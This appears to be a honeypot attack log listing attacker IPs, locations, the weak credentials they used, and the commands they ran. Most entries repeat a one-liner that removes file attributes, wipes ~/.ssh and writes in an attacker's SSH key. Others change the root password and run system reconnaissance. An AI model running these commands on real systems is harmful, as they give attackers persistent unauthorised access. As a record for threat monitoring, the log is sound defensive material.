$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rogue_merlion_root (149.34.253.149) — Singapore, Singapore · 1 session · 2 cmds

2026-07-05 09:11 EDT · as oracle/tft105

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 unhinged_pho_root (123.31.20.162) — Hanoi, Vietnam · 2 sessions · 2 cmds

2026-06-27 04:29 EDT · as admin/asdf1234, root/admin123

history snooping → pwd

$ history | tail -5

↳ history snooping

$ pwd

🎭 unhinged_cowboy_root_120 (172.202.9.120) — Des Moines, United States · 1 session · 2 cmds

2026-07-05 08:46 EDT · as oracle/tft105

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 silent_dragon_root (123.57.137.86) — Beijing, China · 3 sessions · 3 cmds

2026-07-05 05:40 EDT · as root/admin, root/admin123, root/password

pwd → history snooping → ps

$ pwd

$ history | tail -5

↳ history snooping

$ ps aux | head -10

🎭 manic_clog_sol (2.57.122.238) — Amsterdam, The Netherlands · 161 sessions · 161 cmds

2026-05-07 15:21 EDT · as eth/eth, firedancer/firedancer, raydium/raydium

Ran uname 279x across 279 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×161

↳ obfuscated system check

🎭 rabid_phantom_sol (41.204.82.238) — Yaoundé, Cameroon · 2 sessions · 4 cmds

2026-06-16 15:01 EDT · as oracle/1234qwer, oracle/oracle01

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 haywire_durian_sol (34.124.225.147) — Singapore, Singapore · 1 session · 2 cmds

2026-07-05 04:56 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 frantic_tiger_sol (209.38.121.186) — Bengaluru, India · 1 session · 2 cmds

2026-07-05 04:54 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 weary_monsoon_sol (103.182.132.154) — Delhi, India · 1 session · 2 cmds

2026-07-05 04:51 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 placid_lotus_root (125.212.217.143) — Hanoi, Vietnam · 36 sessions · 36 cmds

2026-06-17 19:51 EDT · as admin/123456, admin/admin, admin/password

echo (repeated echo 3x)

$ echo "root:sinko@" | chpasswd ×36

🎭 grumpy_peak_sol (154.221.28.214) — Chai Wan, Hong Kong · 1 session · 2 cmds

2026-07-05 04:51 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 stoic_drifter_sol (154.116.254.157) — Luanda, Angola · 2 sessions · 4 cmds

2026-07-05 04:49 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 frantic_mekong_sol (157.66.26.151) — Go Vap, Vietnam · 1 session · 2 cmds

2026-07-05 04:50 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 scrappy_taco_sol (38.94.97.3) — Mexico City, Mexico · 1 session · 2 cmds

2026-07-05 04:49 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 ironclad_samba_sol (170.0.62.165) — Surubim, Brazil · 1 session · 2 cmds

2026-07-05 04:49 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 placid_acai_sol (191.253.105.84) — Blumenau, Brazil · 1 session · 2 cmds

2026-07-05 04:48 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 wily_acai_sol (177.11.196.79) — Feliz, Brazil · 2 sessions · 4 cmds

2026-07-03 11:34 EDT · as oracle/1234qwer, oracle/Oracle12#$

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 midnight_seoul_sol (211.178.247.182) — Gwangmyeong, South Korea · 1 session · 2 cmds

2026-07-05 04:47 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 zealous_phantom_sol (186.103.169.12) — San Bernardo, Chile · 1 session · 2 cmds

2026-07-05 04:46 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence (repeated file attribute tampering 3x)

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rusty_monsoon_sol (122.168.194.41) — Rāipur, India · 1 session · 2 cmds

2026-07-05 04:45 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rabid_bibimbap_sol (112.151.178.49) — Seocho-gu, South Korea · 1 session · 2 cmds

2026-07-05 04:44 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 drowsy_tiger_sol (45.194.3.128) — Noida, India · 1 session · 2 cmds

2026-07-05 04:42 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 silent_burger_sol (4.157.250.195) — Boydton, United States · 1 session · 20 cmds

2026-07-05 04:41 EDT · as oracle/1234qwer

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" → cat /proc/cpuinfo | grep name | wc

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "1234qwer\neEdJrQTyr4ua\neEdJrQTyr4ua"|passwd|bash

$ Enter new UNIX password:

$ echo "1234qwer\neEdJrQTyr4ua\neEdJrQTyr4ua\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silent_monsoon_sol (143.110.251.21) — Bengaluru, India · 1 session · 2 cmds

2026-07-05 04:41 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 murky_satay_sol (202.184.156.3) — Cyberjaya, Malaysia · 1 session · 2 cmds

2026-07-05 04:40 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 ironclad_wraith_sol (181.188.237.214) — Latacunga, Ecuador · 1 session · 2 cmds

2026-07-05 04:39 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 lurking_rogue_sol (103.59.163.132) — Yangon, Myanmar · 1 session · 2 cmds

2026-07-05 04:38 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 ironclad_ghost_sol (202.79.29.108) — Phnom Penh, Cambodia · 1 session · 2 cmds

2026-07-05 04:38 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

